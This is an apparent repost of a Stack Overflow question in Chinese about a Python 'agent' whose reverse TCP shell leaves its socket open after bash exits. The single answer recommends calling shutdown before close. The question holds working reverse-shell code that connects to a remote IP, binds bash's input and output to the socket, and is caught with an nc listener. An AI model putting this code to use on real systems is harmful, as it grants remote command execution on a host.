gpt4 book ai didi

python - 优雅地杀死一个孤立的套接字

转载 作者:太空狗 更新时间:2023-10-29 11:08:47 32 4
gpt4 key购买 nike

我正在编写一个使用以下代码生成反向 TCP-Shell 的简单代理。

 class ReverseShell:
def __init__(self, ip, port=9002):
self.ip = ip
self.port = port

def start(self):
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((self.ip,self.port))
os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)
subprocess.call(["/bin/bash","-i"]);
sock.close()

然后我使用以下方法监听我的目标地址:

nc -l 9002

shell 连接良好。但是,如果我键入 exit 它会终止 shell,但数据似乎仍在写入套接字,并停止写入 stdout 代理端。如果我 ctrl+c 退出它,同样的事情会发生,它会杀死 /bin/bash shell,但套接字保持打开状态,我的代理上的文本不会被写入标准输出。我错过了什么?

最佳答案

您需要在 sock.close() 之前执行 sock.shutdown(socket.SHUT_RDWR) 以终止底层的 tcp 连接。

关于python - 优雅地杀死一个孤立的套接字,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/26028052/

32 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com